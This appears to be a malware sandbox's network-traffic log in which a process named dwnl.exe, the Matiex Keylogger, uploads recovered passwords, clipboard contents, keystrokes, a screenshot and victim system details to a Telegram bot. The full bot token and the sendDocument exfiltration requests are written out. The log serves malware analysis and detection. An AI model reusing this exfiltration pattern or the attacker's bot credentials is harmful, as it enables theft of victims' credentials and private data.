2021-09-13 04:32:17 UTC	9002	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 62 39 39 39 30 62 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 61 74 69 65 78 43 6c 69 70 62 6f 61 72 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 2f 2a 20 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 20 2d 20 52 65 63 6f 76 65 72 65 64 20 43 6c 69 70 62 6f 61 72 64 20 2a 5c 0d 0a 20 0d 0a 0d 0a 7c 20 53 79 73 74 65 6d 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 7c 20 0d 0a 0d 0a 43 6f 6d 70 Data Ascii: --------------------------8d976803b9990bfContent-Disposition: form-data; name="document"; filename="MatiexClipboard.txt"Content-Type: application/x-ms-dos-executable/* Matiex Keylogger - Recovered Clipboard *\ \| System Information \| Comp
2021-09-13 04:32:17 UTC	9003	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:17 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:17 UTC	9003	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 32 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 33 37 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":327,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507537,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.5	49834	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:17 UTC	9004	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Passwords%20%5C HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d976803bbd536b Host: api.telegram.org Content-Length: 833
2021-09-13 04:32:17 UTC	9004	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 62 62 64 35 33 36 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 61 74 69 65 78 50 61 73 73 77 6f 72 64 73 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 2f 2a 20 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 20 2d 20 52 65 63 6f 76 65 72 65 64 20 50 61 73 73 77 6f 72 64 73 20 2a 5c 0d 0a 20 0d 0a 0d 0a 7c 20 53 79 73 74 65 6d 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 7c 20 0d 0a 0d 0a 43 6f 6d 70 Data Ascii: --------------------------8d976803bbd536bContent-Disposition: form-data; name="document"; filename="MatiexPasswords.txt"Content-Type: application/x-ms-dos-executable/* Matiex Keylogger - Recovered Passwords *\ \| System Information \| Comp
2021-09-13 04:32:18 UTC	9005	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:18 GMT Content-Type: application/json Content-Length: 554 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:18 UTC	9005	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 32 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 33 38 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":328,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507538,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.5	49790	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:00 UTC	7	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Passwords%20%5C HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d97680313f54cf Host: api.telegram.org Content-Length: 833
2021-09-13 04:32:00 UTC	8	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 31 33 66 35 34 63 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 61 74 69 65 78 50 61 73 73 77 6f 72 64 73 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 2f 2a 20 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 20 2d 20 52 65 63 6f 76 65 72 65 64 20 50 61 73 73 77 6f 72 64 73 20 2a 5c 0d 0a 20 0d 0a 0d 0a 7c 20 53 79 73 74 65 6d 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 7c 20 0d 0a 0d 0a 43 6f 6d 70 Data Ascii: --------------------------8d97680313f54cfContent-Disposition: form-data; name="document"; filename="MatiexPasswords.txt"Content-Type: application/x-ms-dos-executable/* Matiex Keylogger - Recovered Passwords *\ \| System Information \| Comp
2021-09-13 04:32:00 UTC	8	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:00 GMT Content-Type: application/json Content-Length: 554 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:00 UTC	9	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 38 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 32 30 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":284,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507520,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.5	49835	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:18 UTC	9006	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20keystroke%20%5C HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d976803bdeb43d Host: api.telegram.org Content-Length: 749
2021-09-13 04:32:18 UTC	9006	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 62 64 65 62 34 33 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 61 74 69 65 78 4b 65 79 73 74 72 6f 6b 65 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 2f 20 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 20 2d 20 52 65 63 6f 76 65 72 65 64 20 6b 65 79 73 74 72 6f 6b 65 20 5c 0d 0a 20 0d 0a 0d 0a 7c 20 53 79 73 74 65 6d 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 7c 20 0d 0a 0d 0a 43 6f 6d 70 75 74 Data Ascii: --------------------------8d976803bdeb43dContent-Disposition: form-data; name="document"; filename="MatiexKeystroke.txt"Content-Type: application/x-ms-dos-executable/ Matiex Keylogger - Recovered keystroke \ \| System Information \| Comput
2021-09-13 04:32:18 UTC	9007	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:18 GMT Content-Type: application/json Content-Length: 555 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:18 UTC	9007	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 32 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 33 38 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":329,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507538,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.5	49836	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:18 UTC	9008	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Screenshot%20Logger%20%5C%0D%0A%20%0D%0A%0D%0A%7C%20System%20Information%20%7C%20%0D%0A%0D%0AComputer%20Name:%20562258%0D%0AMachine%20Name:%20Microsoft%20Windows%2010%20Pro%0D%0AMachine%20PlatForm:%20Win32NT%0D%0AComputer%20IP:%2084.17.52.51%0D%0A%0D%0ACountry%20Name:%20Switzerland%0D%0ACountry%20Code:%20CH%0D%0ATime%20Zone:%20Europe/Zurich%0D%0AFull%20Location:%20https://www.geodatatool.com/en/?ip=84.17.52.51%0D%0A%0D%0ADate%20and%20Time:%209/13/2021%20%20%20/%20%20%20%206:31:48%20AM%0D%0ATotal%20Hard%20Disk%20Space:%20224%20GB%0D%0ARam%20Space:%208.00%20GB%0D%0AHardware%20ID:%205C14-3120-C5E4-7FCF-C4B6-12B5-8EC5-2C8F HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d976803c0e6344 Host: api.telegram.org Content-Length: 828602
2021-09-13 04:32:18 UTC	9009	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 63 30 65 36 33 34 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 43 3a 5c 55 73 65 72 73 5c 61 6c 66 6f 6e 73 5c 44 6f 63 75 6d 65 6e 74 73 5c 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 5c 53 63 72 65 65 6e 73 68 6f 74 2e 70 6e 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 00 00 00 04 00 08 06 00 00 00 be 93 f4 43 00 00 00 01 73 52 47 42 00 ae ce Data Ascii: --------------------------8d976803c0e6344Content-Disposition: form-data; name="document"; filename="C:\Users\user\Documents\Matiex Keylogger\Screenshot.png"Content-Type: application/x-ms-dos-executablePNGIHDRCsRGB
2021-09-13 04:32:18 UTC	9025	OUT	Data Raw: 3e 01 b0 15 d2 52 e8 f9 68 41 8e 8e 24 48 0f ec a0 3c 29 64 3e 08 af 8b 28 bc a5 63 fd 75 d1 f5 74 5f 5f bb a5 48 fb 7d 40 36 19 17 0f fa 5c 12 f5 6b 07 c8 c6 34 89 f6 cf 6a 70 bf 95 83 6c d6 80 6c c6 a0 b1 1b 03 6d 57 92 9b f7 bc 2e 90 30 07 2f c2 09 a2 4b b9 bc dc 97 c2 62 44 29 d2 2f 1b 48 4a c8 e3 f0 a1 04 42 4c 29 81 4f 85 7c 2e 09 89 40 02 21 fc 11 24 30 cd b5 00 38 14 aa 2b 10 f6 4a d1 ed 9e 3a 5d 02 a0 46 88 7e 10 9e 07 d2 67 af 11 00 69 1d c8 b5 25 c9 c5 31 68 3d d7 a0 f7 8f 4a d0 de 56 03 b2 19 42 69 04 60 0f 2e 21 2a 17 a4 99 06 ba dc b1 41 65 ce 16 74 26 97 83 7c 12 09 f2 91 46 45 de 0d e7 08 2f 10 c1 3b c7 0a 81 ee 7f 5d 20 3b 35 20 9b 43 40 65 0c 40 8a 79 7d 40 63 bf c1 33 6d 01 f0 6f f7 79 07 14 00 1d fc e3 1f c7 7d cd 89 7e 2c 04 d2 f7 01 Data Ascii: >RhA$H<)d>(cut__H}@6\k4jpllmW.0/KbD)/HJBL)O\|.@!$08+J:]F~gi%1h=JVBi`.!*Aet&\|FE/;] ;5 C@e@y}@c3moy}~,
2021-09-13 04:32:18 UTC	9041	OUT	Data Raw: 41 f5 a8 80 2e 21 28 bc 14 79 b0 20 60 9d ab d8 33 84 36 f0 00 d0 67 12 b6 23 85 07 49 50 56 02 60 cf b7 8d fb 01 f4 e3 d0 be 9d 06 b5 75 72 97 d4 5c 1e ee a3 04 70 2e c8 fe 54 fd 5a 8b b4 8f 08 d2 cb f2 da 2f 31 46 0e c2 50 42 07 23 44 a7 dd 18 04 c0 68 0e c9 f5 27 f2 20 90 9d 1c c8 46 0e d4 27 35 20 9b 12 54 c7 00 71 19 40 a0 a7 c0 82 4b 00 12 3d 6a 90 b6 10 a0 4d 43 91 ed 47 f1 1b 02 b2 8d 59 d4 d8 d6 82 45 a9 01 20 d1 4f 82 f2 0c 00 b5 a9 06 64 73 b6 24 44 85 85 00 38 0e 9d f5 da b0 05 40 02 09 7f 4c af fa 23 01 90 d9 90 04 40 42 09 76 30 4d 29 da 96 05 ed 49 35 c0 33 d7 d2 15 cf 20 9f 44 32 9a 00 98 08 97 a2 9f 64 5e 05 c0 b8 8c 46 e0 eb 42 8a 24 08 28 6e 94 80 44 a5 05 ab 07 34 a6 33 04 cd c5 1c 5d 36 74 b8 7c 3f 15 fc 06 33 16 7a 93 a2 45 ce 02 e0 Data Ascii: A.!(y `36g#IPV`ur\p.TZ/1FPB#Dh' F'5 Tq@K=jMCGYE Ods$D8@L#@Bv0M)I53 D2d^FB$(nD43]6t\|?3zE
2021-09-13 04:32:18 UTC	9057	OUT	Data Raw: 91 09 0e 53 44 e1 61 c0 76 b2 b6 72 20 47 63 28 d2 19 ca 39 37 3a 5d 4b 8d 00 18 39 69 42 04 84 17 7c 72 3c 85 83 bb c9 6e cf f6 c8 4b 34 c3 f9 50 1c 11 d8 16 ce ab 83 ca 17 4e ea c4 89 b4 4e e3 0e b6 ee c4 f6 1d ec 60 d3 b7 2c ed f8 8c 4e a2 fe 90 50 d9 6c cb da 9e 08 80 60 6c 22 ec fc 82 a0 b4 19 b4 03 8b d2 74 11 cc 17 76 c2 17 44 e2 1f 81 d2 09 16 02 e0 64 fd ca 35 4c 7f eb f5 9d 23 58 f7 02 94 76 4c fc 65 5a ec 69 1e 0e e7 34 30 6d 2b c4 cd 50 fc 63 5c bc 16 26 0a 08 44 0e 25 68 79 80 58 e2 40 69 11 28 ef 4a 32 56 fd b4 9d 81 c8 b1 e8 03 b2 19 30 ed 36 80 f9 25 41 75 1e 93 7a e1 ef 2f 02 36 79 c8 9f 07 22 20 12 02 35 41 1b d5 5a ad 47 ee 25 00 bd f7 28 fc 3e 56 b9 6f fa b4 60 4f af c1 9f 53 ea 1c cb d2 25 00 12 c8 6f 41 d4 e4 43 7e 13 f2 e9 67 01 dd Data Ascii: SDavr Gc(97:]K9iB\|r<nK4PNN`,NPl`l"tvDd5L#XvLeZi40m+Pc\&D%hyX@i(J2V06%Auz/6y" 5AZG%(>Vo`OS%oAC~g
2021-09-13 04:32:18 UTC	9073	OUT	Data Raw: 16 c1 64 f7 7b 23 c0 36 9f f1 ac 67 87 f2 76 05 cc 66 65 87 d7 95 de 04 48 d9 2c f9 c6 b0 7f b8 59 a4 bf fb e6 75 e8 5c 10 37 17 63 eb 61 5e 3a db 49 d4 e6 7b 34 5d 0d b6 8e c5 a7 f7 37 ac e2 06 49 68 e5 0c a7 73 c3 35 37 f2 be 74 76 59 1f 56 e6 cd 03 0b f4 2c 4c e2 14 54 82 4e a5 1d b9 95 f0 41 af 0f 9a 3b dc 4b a8 49 40 1b a4 eb ff e6 03 fd 38 08 43 d3 88 58 48 b2 4f e5 9f 1d 05 98 47 02 7a 54 06 de b6 94 91 5a 3e 2d 33 58 3d 38 cc eb 91 83 e5 48 c1 32 40 97 fa 47 10 6b 8f 99 6b 23 35 f1 a7 e4 40 57 f2 89 01 b2 1e db 3e c1 ab 69 5a ca 00 5c 61 eb f6 41 e5 1f 70 6d 28 b7 97 75 16 80 72 bc 98 98 db 28 b2 c8 eb a7 2e 01 db f6 3f 17 7a 1e 74 40 e7 b8 cb 2e 01 18 11 f9 17 b0 32 ad 03 13 72 1e 27 54 46 e3 c5 0c 83 ad d7 a1 5b ee 28 ff 9c 80 5a 12 71 34 5f 64 Data Ascii: d{#6gvfeH,Yu\7ca^:I{4]7Ihs57tvYV,LTNA;KI@8CXHOGzTZ>-3X=8H2@Gkk#5@W>iZ\aApm(ur(.?zt@.2r'TF[(Zq4_d
2021-09-13 04:32:18 UTC	9089	OUT	Data Raw: 45 1f 57 b6 7f 0f 92 f2 ef 08 c0 84 7c 71 98 70 50 88 49 0b 58 2c db b2 6c 01 c8 1e db 15 7a 84 9a 15 6e ec f1 e7 d9 81 e1 d8 28 07 20 8f f8 37 4f db cd 7f 12 56 a6 02 96 66 5d 04 60 62 76 4b 74 ee 13 90 2c 7d d8 b4 35 54 b0 f5 01 51 97 21 9d 4a 82 ed 34 53 16 15 80 0e cd 37 cf f3 eb 27 ba db dd 60 a4 0e 5d 3d 7a 99 22 54 3a e4 36 8d cd a3 0f bb 0e cb d3 62 97 33 58 fe 16 73 4c 18 45 1b 98 03 ba cd 0d 85 d4 d9 14 58 9d 26 fc 97 93 58 1a a5 b6 7c cc ba 0b a1 f5 50 b4 a9 40 51 47 8b c3 8e fd 18 58 9b 03 43 cb 47 43 ca ba 53 21 c7 90 b4 4b 50 1c 67 b2 3c b0 4b 00 d6 e8 11 80 02 82 b2 32 30 5c 17 44 f2 f5 a1 01 f0 e6 14 80 79 24 60 c2 77 10 b4 23 02 01 a8 7f cb 32 ed b8 38 51 d4 01 92 0d 92 05 53 ed 40 15 02 c5 74 bc 00 04 a0 41 45 c4 ea 71 0f 1b 64 0d 5f ce Data Ascii: EW\|qpPIX,lzn( 7OVf]`bvKt,}5TQ!J4S7'`]=z"T:6b3XsLEX&X\|P@QGXCGCS!KPg<K20\Dy$`w#28QS@tAEqd_
2021-09-13 04:32:18 UTC	9105	OUT	Data Raw: c7 74 8f ed 7a 0b c0 d5 2d a1 ac b6 b3 4f b0 62 80 31 35 3d 68 bf f0 bb e3 05 a0 95 79 96 95 d3 9e 20 b0 65 16 2f 79 ea 44 e1 17 47 8c b5 b4 e2 68 3a 56 fc 65 11 e5 84 55 47 86 a1 8d 1b 99 66 e5 5f 3e a7 cc 79 36 84 95 71 73 11 b6 37 17 69 fd 58 8e 72 1f 3d be 4e 94 be 65 55 0a 01 18 ae 55 b6 ee e5 b8 44 01 48 47 03 82 d4 a6 b4 3d da 0f 27 31 34 5d 0d db 96 0b 9c 00 5c 0b e7 82 97 80 91 f6 5c f4 e7 a9 3f b7 8b fb 81 42 ef 1d f1 7a 83 7b 4b bc 4e c5 fb 8d bd 0e 66 09 98 ae 77 05 7d 02 10 98 7b 2f ee e1 3b bb 00 ec 95 80 4e f6 55 49 f1 d5 54 01 68 05 1f 63 15 b1 20 e2 3c 37 bf cd 83 8b b4 b1 e4 38 94 2c db 10 24 66 6e cb 51 08 c0 2c ff b8 00 94 fe 49 db 69 6c 3b 59 b6 b3 9c 3b cd 3a d2 2d a1 e2 ab db 21 73 90 4e 9b ca bf 65 08 40 db 99 9b 07 96 67 2f e9 91 Data Ascii: tz-Ob15=hy e/yDGh:VeUGf_>y6qs7iXr=NeUUDHG='14]\\?Bz{KNfw}{/;NUIThc <78,$fnQ,Iil;Y;:-!sNe@g/
2021-09-13 04:32:18 UTC	9121	OUT	Data Raw: d3 9e 16 38 fd c9 11 fc ad d8 4e 66 0f 51 20 99 0e 2a e9 c0 82 8e 08 4c e8 48 b2 1a a5 3c 22 a8 28 aa c8 a2 fc 28 6d 92 81 fa 88 b0 8a 23 2b 03 95 3c 6a 0c ef 7b bb 47 1c 11 98 c1 63 c2 f7 8a 8f 0a 8b 90 81 94 b8 f7 ab 64 44 9f 8c ee fb 95 d7 47 92 e4 9b dd ef 0d cd ca af bc a9 c3 ea af bc b5 60 e5 7e 6f 29 97 ab 20 bc ef 6b 5b 41 a2 02 08 12 09 a3 04 ef fe f2 28 b2 30 e2 0d 02 0c 92 53 1e 1b 7e 5e 13 df 23 18 d0 ba 3c 3d d4 75 60 ed b4 40 38 66 bb 9d fe cc 66 37 88 be 24 01 57 c3 df 16 99 7f c6 d3 9a b5 b0 ee da 59 4f 97 e9 ea 99 17 74 90 f9 67 59 dc 63 c0 67 3e c7 f1 3c 99 e6 0f a0 e0 18 f6 e1 8e ab ca bf d5 3b 5f 18 8e 23 48 72 d7 3e ea 6d 8e a5 17 7e 75 d9 5b c1 c8 a4 31 e8 a3 e4 59 50 61 54 a7 fc 8d 51 70 ed 34 4a b8 ae e0 9b 9f 28 c7 14 15 67 2d ad Data Ascii: 8NfQ *LH<"((m#+<j{GcdDG`~o) k[A(0S~^#<=u`@8ff7$WYOtgYcg><;_#Hr>m~u[1YPaTQp4J(g-
2021-09-13 04:32:18 UTC	9137	OUT	Data Raw: 9f 23 f5 f7 a3 3c 8c cd 8e b5 49 32 ce 7d 14 83 e6 9a 7b f9 bf 1c a5 58 e7 59 6c 5e e8 b7 ad 16 ca 32 a3 a4 2c 2f 7a 6b ec 99 e1 e5 e3 51 68 bb bf 94 4c fc 79 d8 fc 3c 15 28 ee 83 f1 d3 cc eb ee fd 31 08 93 bf 5d b8 12 54 c0 4d 73 15 a7 d2 66 f0 2a 7a a3 90 c9 3e a1 bb f1 51 a9 c2 99 2a 9e a5 f0 73 2b ab 0e a5 f0 13 b4 49 cc b0 68 c5 b9 d1 c4 d7 c8 bb f1 c0 92 cf 99 df 99 49 15 f7 52 d6 15 94 d2 cf c3 93 7e d9 72 91 7e 2a fe d2 8b 05 04 e0 08 12 b0 41 1f f9 37 a9 02 70 7b 7a 71 72 69 ca 3e 6d 8a 65 69 08 3d 87 14 c1 61 a8 76 42 73 5e 7a c1 4b 7d 40 35 25 1d 93 e4 df 55 35 49 fe 11 56 de 0d 81 36 f1 4d 4d 7d 31 9f 85 5f 2d fe b2 a6 be 2c f9 2c 22 f6 06 91 c4 5f a4 14 7f 00 